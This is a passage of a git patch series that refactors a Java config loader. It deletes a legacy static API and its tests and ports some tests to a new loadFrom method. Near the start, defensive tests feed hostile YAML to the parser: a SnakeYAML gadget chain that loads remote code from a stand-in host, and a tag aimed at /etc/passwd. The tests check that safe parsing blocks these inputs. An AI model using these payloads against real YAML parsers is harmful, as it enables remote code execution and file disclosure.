'antlr'; got: " + cfg.indexing().parsers()); } - @Test - void loadProjectConfigParsesExcludePatterns(@TempDir Path tempDir) throws IOException { - String yaml = """ - exclude: - - "*.generated.java" - - "vendor/**" - """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yaml, StandardCharsets.UTF_8); + // ---- Missing-file and empty-repo behaviour --------------------------------- - ProjectConfig pc = ProjectConfigLoader.loadProjectConfig(tempDir); - assertNotNull(pc.getExclude()); - assertEquals(2, pc.getExclude().size()); + @Test + void missingConfigFileReturnsEmptyOverlay(@TempDir Path tempDir) { + ProjectConfigLoader.LoadResult r = new ProjectConfigLoader().loadFrom(tempDir); + assertEquals(CodeIqUnifiedConfig.empty(), r.config()); + assertFalse(r.deprecationWarningEmitted(), + "no .osscodeiq.yml means no deprecation warning"); } - // --- SafeConstructor / unsafe YAML tag tests --- + // ---- SafeConstructor / unsafe YAML tag safety ----------------------------- @Test void unsafeYamlTagDoesNotExecuteArbitraryCode(@TempDir Path tempDir) throws IOException { - // Unsafe YAML tag that could trigger arbitrary class instantiation + // Unsafe YAML tag that could trigger arbitrary class instantiation under a + // non-Safe constructor. UnifiedConfigLoader uses SafeConstructor, so parsing + // either rejects the document or returns a safe representation. Either way, + // no arbitrary code runs. String yaml = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://evil.example.com\"]]]]\n"; - Files.writeString(tempDir.resolve(".code-iq.yml"), yaml, StandardCharsets.UTF_8); - - var config = new CodeIqConfig(); - // Should not throw and should not apply any overrides - boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); - - // If SafeConstructor is active: rejects the tag with an exception, returns false - // If default constructor: SnakeYAML fails to instantiate, catch block returns false - // Either way, config must remain at defaults — no code execution - assertFalse(loaded, "Unsafe YAML tag must not be treated as valid config"); - assertEquals(10, config.getMaxDepth(), "Defaults must be preserved after unsafe YAML"); + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + // Must not throw an unchecked exception that escapes; must not execute the tag. + assertDoesNotThrow(() -> { + try { + new ProjectConfigLoader().loadFrom(tempDir); + } catch (io.github.randomcodespace.iq.config.unified.ConfigLoadException e) { + // Expected: SafeConstructor rejects the unsafe tag with a typed exception. + // That's the correct safe outcome; the test's invariant is "no code executed". + } + }); } @Test - void yamlWithMixedSafeAndUnsafeContentRejected(@TempDir Path tempDir) throws IOException { + void yamlWithMixedSafeAndUnsafeContentDoesNotExecuteCode(@TempDir Path tempDir) throws IOException { String yaml = """ cache_dir: legit-cache exploit: !!java.io.File ["/etc/passwd"] """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yaml, StandardCharsets.UTF_8); - - var config = new CodeIqConfig(); - // The YAML parser processes the whole document — even if the top-level parses, - // SafeConstructor should reject the !!java.io.File tag. - // With default Yaml(), this may still load (File constructor is available). - // This test documents that either way, the override is applied only if parse succeeds. - ProjectConfigLoader.loadIfPresent(tempDir, config); - - // If SafeConstructor rejects: config unchanged (loadIfPresent returns false) - // If default Yaml() accepts: cache_dir override may apply, but no code execution risk - // The key assertion: no exception thrown, app stays safe - assertNotNull(config); - } - - @Test - void loadProjectConfigParsesParserOverrides(@TempDir Path tempDir) throws IOException { - String yaml = """ - parsers: - java: javaparser - python: antlr - """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yaml, StandardCharsets.UTF_8); - - ProjectConfig pc = ProjectConfigLoader.loadProjectConfig(tempDir); - assertNotNull(pc.getParsers()); - assertEquals("javaparser", pc.getParsers().get("java")); - assertEquals("antlr", pc.getParsers().get("python")); + Files.writeString(tempDir.resolve(".osscodeiq.yml"), yaml, StandardCharsets.UTF_8); + + // Either the parser rejects the unsafe tag (ConfigLoadException) or it safely + // ignores it — in both cases no arbitrary code runs. The key invariant is safety. + assertDoesNotThrow(() -> { + try { + new ProjectConfigLoader().loadFrom(tempDir); + } catch (io.github.randomcodespace.iq.config.unified.ConfigLoadException e) { + // Safe rejection — acceptable outcome. + } + }); } } From 9d2b4151e493003ff60f99a3acadb002fb6c67fb Mon Sep 17 00:00:00 2001 From: Amit Kumar Date: Thu, 23 Apr 2026 12:21:37 +0000 Subject: [PATCH 5/6] refactor(test): delete ConfigDrivenPipelineTest (superseded by unified-pipeline tests) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ConfigDrivenPipelineTest exclusively exercised ProjectConfigLoader.parseProjectConfig(Map) and .loadProjectConfig(Path) — the deprecated static legacy-POJO parsers being deleted in the next commit. Every unique assertion has equivalent coverage on the unified pipeline: - languages/detectors.categories/detectors.include/exclude/parsers/pipeline map parsing: covered by UnifiedConfigLoaderTest (loadsDetectorsCategoriesAndInclude, loadsIndexingParsersList, loadsIndexingParallelismAsInteger, fullFileRoundTripsEveryField). - legacy .osscodeiq.yml end-to-end with flat keys: covered by ProjectConfigLoaderApplyOverridesTest (ported in the prior commit). - empty/missing-file semantics: covered by UnifiedConfigLoaderTest.missingFileProducesEmptyOverlay and ProjectConfigLoaderApplyOverridesTest.missingConfigFileReturnsEmptyOverlay. - ProjectConfig.empty() "no filters" assertion: equivalent to CodeIqUnifiedConfig.empty() behavior pinned in ConfigDefaultsTest. No unique coverage lost. Removing the file (not porting) keeps the test tree clean — parseProjectConfig is a private implementation detail of the legacy shim, not an API worth separate test coverage after migration. Full suite: 3288 -> 3277 tests (-11), 0 failures, 31 skipped. Co-Authored-By: Claude Opus 4.7 (1M context) --- .../iq/config/ConfigDrivenPipelineTest.java | 176 ------------------ 1 file changed, 176 deletions(-) delete mode 100644 src/test/java/io/github/randomcodespace/iq/config/ConfigDrivenPipelineTest.java diff --git a/src/test/java/io/github/randomcodespace/iq/config/ConfigDrivenPipelineTest.java b/src/test/java/io/github/randomcodespace/iq/config/ConfigDrivenPipelineTest.java deleted file mode 100644 index 0a8ad57d..00000000 --- a/src/test/java/io/github/randomcodespace/iq/config/ConfigDrivenPipelineTest.java +++ /dev/null @@ -1,176 +0,0 @@ -package io.github.randomcodespace.iq.config; - -import org.junit.jupiter.api.Test; -import org.junit.jupiter.api.io.TempDir; - -import java.io.IOException; -import java.nio.charset.StandardCharsets; -import java.nio.file.Files; -import java.nio.file.Path; -import java.util.LinkedHashMap; -import java.util.List; -import java.util.Map; - -import static org.junit.jupiter.api.Assertions.*; - -/** - * Tests for the config-driven pipeline filtering features - * in ProjectConfigLoader and ProjectConfig. - */ -class ConfigDrivenPipelineTest { - - @Test - void parseLanguagesFilter() { - Map data = new LinkedHashMap<>(); - data.put("languages", List.of("java", "python")); - - ProjectConfig config = ProjectConfigLoader.parseProjectConfig(data); - - assertTrue(config.hasLanguageFilter()); - assertEquals(List.of("java", "python"), config.getLanguages()); - } - - @Test - void parseDetectorCategories() { - Map data = new LinkedHashMap<>(); - data.put("detectors", Map.of("categories", List.of("endpoints", "entities"))); - - ProjectConfig config = ProjectConfigLoader.parseProjectConfig(data); - - assertTrue(config.hasDetectorCategoryFilter()); - assertEquals(List.of("endpoints", "entities"), config.getDetectorCategories()); - } - - @Test - void parseDetectorInclude() { - Map data = new LinkedHashMap<>(); - data.put("detectors", Map.of("include", List.of("spring-rest-detector"))); - - ProjectConfig config = ProjectConfigLoader.parseProjectConfig(data); - - assertTrue(config.hasDetectorIncludeFilter()); - assertEquals(List.of("spring-rest-detector"), config.getDetectorInclude()); - } - - @Test - void parseExcludePatterns() { - Map data = new LinkedHashMap<>(); - data.put("exclude", List.of("**/generated/**", "**/test/**")); - - ProjectConfig config = ProjectConfigLoader.parseProjectConfig(data); - - assertTrue(config.hasExcludePatterns()); - assertEquals(List.of("**/generated/**", "**/test/**"), config.getExclude()); - } - - @Test - void parseParsersMap() { - Map data = new LinkedHashMap<>(); - data.put("parsers", Map.of("java", "javaparser", "python", "regex")); - - ProjectConfig config = ProjectConfigLoader.parseProjectConfig(data); - - assertNotNull(config.getParsers()); - assertEquals("javaparser", config.getParsers().get("java")); - assertEquals("regex", config.getParsers().get("python")); - } - - @Test - void parsePipelineSettings() { - Map data = new LinkedHashMap<>(); - data.put("pipeline", Map.of("parallelism", 4, "batch-size", 100)); - - ProjectConfig config = ProjectConfigLoader.parseProjectConfig(data); - - assertEquals(4, config.getPipelineParallelism()); - assertEquals(100, config.getPipelineBatchSize()); - } - - @Test - void emptyConfigHasNoFilters() { - ProjectConfig config = ProjectConfig.empty(); - - assertFalse(config.hasLanguageFilter()); - assertFalse(config.hasDetectorCategoryFilter()); - assertFalse(config.hasDetectorIncludeFilter()); - assertFalse(config.hasExcludePatterns()); - assertNull(config.getLanguages()); - assertNull(config.getDetectorCategories()); - assertNull(config.getDetectorInclude()); - assertNull(config.getExclude()); - assertNull(config.getParsers()); - assertNull(config.getPipelineParallelism()); - assertNull(config.getPipelineBatchSize()); - } - - @Test - void parseEmptyDataReturnsEmptyConfig() { - Map data = new LinkedHashMap<>(); - ProjectConfig config = ProjectConfigLoader.parseProjectConfig(data); - - assertFalse(config.hasLanguageFilter()); - assertFalse(config.hasDetectorCategoryFilter()); - } - - @Test - void loadProjectConfigFromFile(@TempDir Path tempDir) throws IOException { - String yamlContent = """ - languages: - - java - - kotlin - detectors: - categories: - - java - - config - include: - - spring-rest-detector - pipeline: - parallelism: 8 - batch-size: 50 - exclude: - - "**/generated/**" - """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yamlContent, StandardCharsets.UTF_8); - - ProjectConfig config = ProjectConfigLoader.loadProjectConfig(tempDir); - - assertTrue(config.hasLanguageFilter()); - assertEquals(List.of("java", "kotlin"), config.getLanguages()); - assertTrue(config.hasDetectorCategoryFilter()); - assertEquals(List.of("java", "config"), config.getDetectorCategories()); - assertTrue(config.hasDetectorIncludeFilter()); - assertEquals(List.of("spring-rest-detector"), config.getDetectorInclude()); - assertEquals(8, config.getPipelineParallelism()); - assertEquals(50, config.getPipelineBatchSize()); - assertTrue(config.hasExcludePatterns()); - } - - @Test - void loadProjectConfigReturnsEmptyWhenNoFile(@TempDir Path tempDir) { - ProjectConfig config = ProjectConfigLoader.loadProjectConfig(tempDir); - assertFalse(config.hasLanguageFilter()); - assertFalse(config.hasDetectorCategoryFilter()); - } - - @Test - void parseFullConfig() { - Map data = new LinkedHashMap<>(); - data.put("languages", List.of("java")); - data.put("detectors", Map.of( - "categories", List.of("endpoints"), - "include", List.of("spring-rest-detector"))); - data.put("parsers", Map.of("java", "javaparser")); - data.put("pipeline", Map.of("parallelism", 2, "batch-size", 200)); - data.put("exclude", List.of("*.min.js")); - - ProjectConfig config = ProjectConfigLoader.parseProjectConfig(data); - - assertEquals(List.of("java"), config.getLanguages()); - assertEquals(List.of("endpoints"), config.getDetectorCategories()); - assertEquals(List.of("spring-rest-detector"), config.getDetectorInclude()); - assertEquals("javaparser", config.getParsers().get("java")); - assertEquals(2, config.getPipelineParallelism()); - assertEquals(200, config.getPipelineBatchSize()); - assertEquals(List.of("*.min.js"), config.getExclude()); - } -} From 0cbc9246aea5d8f9e656ddf856e5a85650a8e513 Mon Sep 17 00:00:00 2001 From: Amit Kumar Date: Thu, 23 Apr 2026 12:26:34 +0000 Subject: [PATCH 6/6] refactor(config): delete legacy static ProjectConfigLoader API + orphaned ProjectConfig POJO MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit With Analyzer and CliOutput migrated off the legacy static API (prior two commits) and the legacy-only tests rewritten against loadFrom(Path) (prior two commits), the deprecated surface has no remaining callers. Removed from ProjectConfigLoader: - public static boolean loadIfPresent(Path, CodeIqConfig) - public static ProjectConfig loadProjectConfig(Path) - package-private static ProjectConfig parseProjectConfig(Map) - private static applyOverrides / toInt helpers (only used by loadIfPresent) - LEGACY_CONFIG_FILE_NAMES array (only used by the deleted statics; the new surface only honors codeiq.yml and .osscodeiq.yml). Inlined parseProjectConfig's logic directly into translateLegacyToUnified so the legacy ProjectConfig POJO has no remaining reference. The translator now reads languages/detectors/exclude/parsers/pipeline.* in place from the raw YAML map, without the intermediate POJO. Deleted: - src/main/java/io/github/randomcodespace/iq/config/ProjectConfig.java (orphaned after inlining) Kept: - ProjectConfigLoader#loadFrom(Path) — canonical Phase-B surface. - ProjectConfigLoader.LoadResult — returned record. - translateLegacyToUnified + readAndTranslateLegacy + countLegacyKeys — internal helpers for the .osscodeiq.yml deprecation shim. ProjectConfigLoaderTest trimmed: removed 5 tests that exclusively exercised the deleted legacy-file-name (.code-iq.yml/.yaml) paths plus the removed return-false-and-mutate-CodeIqConfig semantics. Ported 2 meaningful tests (empty-file handling, invalid-YAML resilience) onto loadFrom(Path); those pin safety behaviour of the deprecation shim. Full suite: 3277 -> 3272 tests (-5), 0 failures, 31 skipped. Co-Authored-By: Claude Opus 4.7 (1M context) --- .../iq/config/ProjectConfig.java | 97 ------- .../iq/config/ProjectConfigLoader.java | 256 ++++-------------- .../iq/config/ProjectConfigLoaderTest.java | 102 ++----- 3 files changed, 70 insertions(+), 385 deletions(-) delete mode 100644 src/main/java/io/github/randomcodespace/iq/config/ProjectConfig.java diff --git a/src/main/java/io/github/randomcodespace/iq/config/ProjectConfig.java b/src/main/java/io/github/randomcodespace/iq/config/ProjectConfig.java deleted file mode 100644 index 8761b4ad..00000000 --- a/src/main/java/io/github/randomcodespace/iq/config/ProjectConfig.java +++ /dev/null @@ -1,97 +0,0 @@ -package io.github.randomcodespace.iq.config; - -import java.util.List; -import java.util.Map; - -/** - * Parsed project-level configuration from .osscodeiq.yml. - * Immutable value object carrying optional filter/override settings. - */ -public final class ProjectConfig { - - private final List languages; - private final List detectorCategories; - private final List detectorInclude; - private final List exclude; - private final Map parsers; - private final Integer pipelineParallelism; - private final Integer pipelineBatchSize; - - public ProjectConfig( - List languages, - List detectorCategories, - List detectorInclude, - List exclude, - Map parsers, - Integer pipelineParallelism, - Integer pipelineBatchSize - ) { - this.languages = languages; - this.detectorCategories = detectorCategories; - this.detectorInclude = detectorInclude; - this.exclude = exclude; - this.parsers = parsers; - this.pipelineParallelism = pipelineParallelism; - this.pipelineBatchSize = pipelineBatchSize; - } - - /** Empty config with no overrides. */ - public static ProjectConfig empty() { - return new ProjectConfig(null, null, null, null, null, null, null); - } - - /** Languages to include in file discovery (null = all). */ - public List getLanguages() { - return languages; - } - - /** Detector categories to run (null = all). */ - public List getDetectorCategories() { - return detectorCategories; - } - - /** Specific detector names to include (null = all). */ - public List getDetectorInclude() { - return detectorInclude; - } - - /** Additional exclude patterns for file discovery (null = none). */ - public List getExclude() { - return exclude; - } - - /** Parser overrides by language (null = default). */ - public Map getParsers() { - return parsers; - } - - /** Pipeline thread count override (null = adaptive). */ - public Integer getPipelineParallelism() { - return pipelineParallelism; - } - - /** Pipeline batch size override (null = default). */ - public Integer getPipelineBatchSize() { - return pipelineBatchSize; - } - - /** True if this config has any language filter. */ - public boolean hasLanguageFilter() { - return languages != null && !languages.isEmpty(); - } - - /** True if this config has any detector category filter. */ - public boolean hasDetectorCategoryFilter() { - return detectorCategories != null && !detectorCategories.isEmpty(); - } - - /** True if this config has any detector include filter. */ - public boolean hasDetectorIncludeFilter() { - return detectorInclude != null && !detectorInclude.isEmpty(); - } - - /** True if this config has any exclude patterns. */ - public boolean hasExcludePatterns() { - return exclude != null && !exclude.isEmpty(); - } -} diff --git a/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java b/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java index 90a51b2d..d271c583 100644 --- a/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java +++ b/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java @@ -17,7 +17,6 @@ import java.nio.file.Files; import java.nio.file.Path; import java.util.ArrayList; -import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import java.util.Set; @@ -29,18 +28,10 @@ * The legacy fallback branch will be removed one release after the warning * first shipped. * - *

This class exposes two surfaces: - *

    - *
  • The new {@link #loadFrom(Path)} instance method returning a - * {@link LoadResult} with a {@link CodeIqUnifiedConfig} overlay for - * the PROJECT layer. This is the Phase B path consumed by - * {@link UnifiedConfigBeans}. - *
  • The legacy {@link #loadIfPresent(Path, CodeIqConfig)} and - * {@link #loadProjectConfig(Path)} static methods kept for the - * existing {@code Analyzer} / {@code CliOutput} call sites. Migration - * of those call sites to {@link CodeIqUnifiedConfig} is tracked as - * internal task #52. - *
+ *

Surface: the {@link #loadFrom(Path)} instance method returns a + * {@link LoadResult} with a {@link CodeIqUnifiedConfig} overlay for the + * PROJECT layer. This is the only public loader surface; it is consumed by + * {@code UnifiedConfigBeans} at startup. */ @Component public class ProjectConfigLoader { @@ -48,9 +39,6 @@ public class ProjectConfigLoader { private static final Logger log = LoggerFactory.getLogger(ProjectConfigLoader.class); private static final String NEW_NAME = "codeiq.yml"; private static final String OLD_NAME = ".osscodeiq.yml"; - private static final String[] LEGACY_CONFIG_FILE_NAMES = { - ".code-iq.yml", ".code-iq.yaml", ".osscodeiq.yml", ".osscodeiq.yaml" - }; /** * Top-level flat keys recognised by the pre-Phase-B {@code .osscodeiq.yml} @@ -181,23 +169,30 @@ private static int countLegacyKeys(Map raw) { /** * Translator: maps pre-Phase-B flat keys at the YAML root to a - * {@link CodeIqUnifiedConfig} overlay. Reuses {@link #parseProjectConfig} - * for the {@code languages}/{@code detectors}/{@code exclude}/{@code parsers}/ - * {@code pipeline.*} sections (same coercion rules) and adds the flat-key - * mapping documented in the Phase B migration table: + * {@link CodeIqUnifiedConfig} overlay. Pulls {@code languages}, + * {@code detectors.*}, {@code exclude}, {@code parsers}, and {@code pipeline.*} + * from their nested positions and adds the flat-key mapping documented in + * the Phase B migration table: * *

-     *   root_path          -> project.root
-     *   service_name       -> project.serviceName
-     *   cache_dir          -> indexing.cacheDir
-     *   max_depth          -> indexing.maxDepth
-     *   max_radius         -> indexing.maxRadius
-     *   max_files          -> indexing.maxFiles
-     *   max_snippet_lines  -> indexing.maxSnippetLines
-     *   batch_size         -> indexing.batchSize
+     *   root_path           -> project.root
+     *   service_name        -> project.serviceName
+     *   cache_dir           -> indexing.cacheDir
+     *   max_depth           -> indexing.maxDepth
+     *   max_radius          -> indexing.maxRadius
+     *   max_files           -> indexing.maxFiles
+     *   max_snippet_lines   -> indexing.maxSnippetLines
+     *   batch_size          -> indexing.batchSize
+     *   detector_categories -> detectors.categories (flat top-level alias)
+     *   detector_include    -> detectors.include    (flat top-level alias)
      * 
* - * Only section leaves present in {@code raw} are set; absent fields stay + *

{@code parsers} in the legacy file is a map ({@code {lang: parserName}}); + * the unified tree carries {@code indexing.parsers} as {@code List}, + * so the map's values are flattened into the list (Analyzer never consumed + * the per-language map at runtime — a list is sufficient). + * + *

Only section leaves present in {@code raw} are set; absent fields stay * {@code null} so {@link io.github.randomcodespace.iq.config.unified.ConfigMerger} * correctly falls through to lower layers. */ @@ -209,11 +204,9 @@ static CodeIqUnifiedConfig translateLegacyToUnified(Map raw) { io.github.randomcodespace.iq.config.unified.ProjectConfig projectU = new io.github.randomcodespace.iq.config.unified.ProjectConfig(null, root, serviceName, List.of()); - // --- indexing layer (flat keys) --- - // Reuse parseProjectConfig to pull languages / detectors / exclude / parsers / pipeline.*. - ProjectConfig legacy = parseProjectConfig(raw); - List languages = legacy.getLanguages(); - List exclude = legacy.getExclude(); + // --- indexing layer --- + List languages = toStringList(raw.get("languages")); + List exclude = toStringList(raw.get("exclude")); String cacheDir = raw.containsKey("cache_dir") ? String.valueOf(raw.get("cache_dir")) : null; Integer maxDepth = raw.containsKey("max_depth") ? toInteger(raw.get("max_depth")) : null; @@ -221,19 +214,28 @@ static CodeIqUnifiedConfig translateLegacyToUnified(Map raw) { Integer maxFiles = raw.containsKey("max_files") ? toInteger(raw.get("max_files")) : null; Integer maxSnippetLines = raw.containsKey("max_snippet_lines") ? toInteger(raw.get("max_snippet_lines")) : null; - // batch_size at the root is a legacy alias; pipeline.batch-size wins if BOTH are set - // because parseProjectConfig already reads the nested form. - Integer batchSize = legacy.getPipelineBatchSize(); + + // pipeline: nested pipeline.batch-size / pipeline.parallelism wins over any flat batch_size. + Integer parallelism = null; + Integer nestedBatchSize = null; + if (raw.get("pipeline") instanceof Map pipeline) { + parallelism = toInteger(pipeline.get("parallelism")); + nestedBatchSize = toInteger(pipeline.get("batch-size")); + } + Integer batchSize = nestedBatchSize; if (batchSize == null && raw.containsKey("batch_size")) { batchSize = toInteger(raw.get("batch_size")); } - Integer parallelism = legacy.getPipelineParallelism(); - // parsers: legacy shape is a map {lang: parserName}; unified carries a List of - // parser names (Analyzer never consumed the map at runtime — list is sufficient). - List parsers = legacy.getParsers() == null - ? List.of() - : List.copyOf(legacy.getParsers().values()); + // parsers: legacy map {lang: parserName} flattened to List of parser names. + List parsers = List.of(); + if (raw.get("parsers") instanceof Map parsersMap) { + List names = new ArrayList<>(parsersMap.size()); + for (Object v : parsersMap.values()) { + if (v != null) names.add(String.valueOf(v)); + } + parsers = List.copyOf(names); + } IndexingConfig indexingU = new IndexingConfig( languages == null ? List.of() : languages, @@ -250,16 +252,18 @@ static CodeIqUnifiedConfig translateLegacyToUnified(Map raw) { parsers); // --- detectors layer --- - // detectors.categories / detectors.include come from the nested - // `detectors: { categories, include }` shape that parseProjectConfig already reads. - // In addition, Phase B accepts flat top-level aliases `detector_categories` / - // `detector_include` so legacy `.osscodeiq.yml` files that put the filters at the - // root (rather than under `detectors:`) continue to work. - List detectorCategories = legacy.getDetectorCategories(); + // Nested `detectors: { categories, include }` shape plus flat top-level + // aliases `detector_categories` / `detector_include` so legacy + // `.osscodeiq.yml` files that put the filters at the root continue to work. + List detectorCategories = null; + List detectorInclude = null; + if (raw.get("detectors") instanceof Map detectors) { + detectorCategories = toStringList(detectors.get("categories")); + detectorInclude = toStringList(detectors.get("include")); + } if (detectorCategories == null && raw.get("detector_categories") instanceof List lc) { detectorCategories = lc.stream().map(String::valueOf).toList(); } - List detectorInclude = legacy.getDetectorInclude(); if (detectorInclude == null && raw.get("detector_include") instanceof List li) { detectorInclude = li.stream().map(String::valueOf).toList(); } @@ -278,157 +282,6 @@ static CodeIqUnifiedConfig translateLegacyToUnified(Map raw) { detectorsU); } - // --------------------------------------------------------------- - // Legacy static API — retained for pre-unified call sites only. - // Replacement tracked in internal task #52 — Analyzer/CliOutput migration. - // --------------------------------------------------------------- - - /** - * Look for {@code .code-iq.yml}/{@code .yaml} or {@code .osscodeiq.yml}/{@code .yaml} - * in the given directory. If found, parse it and apply matching properties to the - * legacy {@link CodeIqConfig} via setters. - * - *

Legacy path — new code should go through {@link #loadFrom(Path)} and the - * unified config tree. The setter-mutation path is scheduled for removal when - * {@code Analyzer} and {@code CliOutput} migrate (internal task #52). - * - * @deprecated since 0.2.0, for removal. Use {@link #loadFrom(Path)} instead. - */ - @Deprecated(since = "0.2.0", forRemoval = true) - @SuppressWarnings("unchecked") - public static boolean loadIfPresent(Path directory, CodeIqConfig config) { - for (String name : LEGACY_CONFIG_FILE_NAMES) { - Path configFile = directory.resolve(name); - if (Files.isRegularFile(configFile)) { - try { - String content = Files.readString(configFile, StandardCharsets.UTF_8); - Yaml yaml = new Yaml(new org.yaml.snakeyaml.constructor.SafeConstructor( - new org.yaml.snakeyaml.LoaderOptions())); - Map data = yaml.load(content); - if (data != null) { - applyOverrides(data, config); - log.info("Loaded project config from {}", configFile); - return true; - } - } catch (IOException e) { - log.warn("Failed to read config file {}: {}", configFile, e.getMessage()); - } catch (Exception e) { - log.warn("Failed to parse config file {}: {}", configFile, e.getMessage()); - } - } - } - return false; - } - - /** - * Load the full project configuration including pipeline filter settings. - * - *

Legacy path — new code should go through {@link #loadFrom(Path)} and the - * unified config tree. Replacement tracked in internal task #52. - * - * @deprecated since 0.2.0, for removal. Use {@link #loadFrom(Path)} instead. - */ - @Deprecated(since = "0.2.0", forRemoval = true) - @SuppressWarnings("unchecked") - public static ProjectConfig loadProjectConfig(Path directory) { - for (String name : LEGACY_CONFIG_FILE_NAMES) { - Path configFile = directory.resolve(name); - if (Files.isRegularFile(configFile)) { - try { - String content = Files.readString(configFile, StandardCharsets.UTF_8); - Yaml yaml = new Yaml(new org.yaml.snakeyaml.constructor.SafeConstructor( - new org.yaml.snakeyaml.LoaderOptions())); - Map data = yaml.load(content); - if (data != null) { - log.info("Loaded project config from {}", configFile); - return parseProjectConfig(data); - } - } catch (IOException e) { - log.warn("Failed to read config file {}: {}", configFile, e.getMessage()); - } catch (Exception e) { - log.warn("Failed to parse config file {}: {}", configFile, e.getMessage()); - } - } - } - return ProjectConfig.empty(); - } - - /** - * Parse a YAML data map into a structured legacy {@link ProjectConfig}. - * - *

Reused internally by {@link #translateLegacyToUnified} to pick up - * {@code languages} / {@code detectors} / {@code exclude} / {@code parsers} / - * {@code pipeline.*} sections in legacy files. - * - *

Legacy path — new code should go through {@link #loadFrom(Path)}. - * - * @deprecated since 0.2.0, for removal. Use {@link #loadFrom(Path)} instead. - */ - @Deprecated(since = "0.2.0", forRemoval = true) - @SuppressWarnings("unchecked") - static ProjectConfig parseProjectConfig(Map data) { - List languages = toStringList(data.get("languages")); - - List detectorCategories = null; - List detectorInclude = null; - if (data.get("detectors") instanceof Map detectors) { - detectorCategories = toStringList(detectors.get("categories")); - detectorInclude = toStringList(detectors.get("include")); - } - - List exclude = toStringList(data.get("exclude")); - - Map parsers = null; - if (data.get("parsers") instanceof Map parsersMap) { - parsers = new LinkedHashMap<>(); - for (var entry : parsersMap.entrySet()) { - parsers.put(String.valueOf(entry.getKey()), String.valueOf(entry.getValue())); - } - } - - Integer parallelism = null; - Integer batchSize = null; - if (data.get("pipeline") instanceof Map pipeline) { - parallelism = toInteger(pipeline.get("parallelism")); - batchSize = toInteger(pipeline.get("batch-size")); - } - - return new ProjectConfig( - languages, - detectorCategories, - detectorInclude, - exclude, - parsers, - parallelism, - batchSize - ); - } - - @SuppressWarnings("unchecked") - private static void applyOverrides(Map data, CodeIqConfig config) { - if (data.containsKey("cache_dir")) { - config.setCacheDir(String.valueOf(data.get("cache_dir"))); - } - if (data.containsKey("max_depth")) { - config.setMaxDepth(toInt(data.get("max_depth"), config.getMaxDepth())); - } - if (data.containsKey("max_radius")) { - config.setMaxRadius(toInt(data.get("max_radius"), config.getMaxRadius())); - } - // Nested analysis/output sections are recognized but not yet mapped to CodeIqConfig. - } - - private static int toInt(Object value, int defaultValue) { - if (value instanceof Number n) { - return n.intValue(); - } - try { - return Integer.parseInt(String.valueOf(value)); - } catch (NumberFormatException e) { - return defaultValue; - } - } - private static Integer toInteger(Object value) { if (value == null) return null; if (value instanceof Number n) { @@ -441,7 +294,6 @@ private static Integer toInteger(Object value) { } } - @SuppressWarnings("unchecked") private static List toStringList(Object value) { if (value == null) return null; if (value instanceof List list) { diff --git a/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderTest.java b/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderTest.java index e4fd8c92..38608435 100644 --- a/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderTest.java +++ b/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderTest.java @@ -101,101 +101,31 @@ void mixedLegacyFlatAndNestedKeysPrefersLegacyPath(@TempDir Path repo) throws Ex assertTrue(r.deprecationWarningEmitted()); } - // ---- Legacy static API retained for back-compat call sites (Analyzer, CliOutput) ---- + // ---- Legacy file-read robustness on the canonical loadFrom() path --------- @Test - void loadFromYmlFile(@TempDir Path tempDir) throws IOException { - String yamlContent = """ - cache_dir: .my-cache - max_depth: 5 - max_radius: 3 - """; - Files.writeString(tempDir.resolve(".code-iq.yml"), yamlContent, StandardCharsets.UTF_8); - - var config = new CodeIqConfig(); - boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); - - assertTrue(loaded, "Should find and load .code-iq.yml"); - assertEquals(".my-cache", config.getCacheDir()); - assertEquals(5, config.getMaxDepth()); - assertEquals(3, config.getMaxRadius()); - } - - @Test - void loadFromYamlFile(@TempDir Path tempDir) throws IOException { - String yamlContent = """ - cache_dir: custom-cache - max_depth: 7 - """; - Files.writeString(tempDir.resolve(".code-iq.yaml"), yamlContent, StandardCharsets.UTF_8); - - var config = new CodeIqConfig(); - boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); - - assertTrue(loaded, "Should find and load .code-iq.yaml"); - assertEquals("custom-cache", config.getCacheDir()); - assertEquals(7, config.getMaxDepth()); - } - - @Test - void ymlTakesPrecedenceOverYaml(@TempDir Path tempDir) throws IOException { - Files.writeString(tempDir.resolve(".code-iq.yml"), - "cache_dir: from-yml\n", StandardCharsets.UTF_8); - Files.writeString(tempDir.resolve(".code-iq.yaml"), - "cache_dir: from-yaml\n", StandardCharsets.UTF_8); - - var config = new CodeIqConfig(); - ProjectConfigLoader.loadIfPresent(tempDir, config); - - assertEquals("from-yml", config.getCacheDir(), ".yml should take precedence"); - } - - @Test - void returnsFalseWhenNoConfigFile(@TempDir Path tempDir) { - var config = new CodeIqConfig(); - boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); - - assertFalse(loaded, "Should return false when no config file exists"); - // Config should retain defaults - assertEquals(".code-iq/cache", config.getCacheDir()); - assertEquals(10, config.getMaxDepth()); - } - - @Test - void handlesEmptyConfigFile(@TempDir Path tempDir) throws IOException { + void emptyLegacyFileReturnsEmptyOverlay(@TempDir Path tempDir) throws IOException { + // Empty .osscodeiq.yml parses to null; loadFrom must treat it as "no + // overlay" rather than crashing. The deprecation WARN still fires + // because a (zero-byte) legacy file was present on disk. Files.writeString(tempDir.resolve(".osscodeiq.yml"), "", StandardCharsets.UTF_8); - var config = new CodeIqConfig(); - boolean loaded = ProjectConfigLoader.loadIfPresent(tempDir, config); - - // Empty YAML parses to null, so no overrides applied - 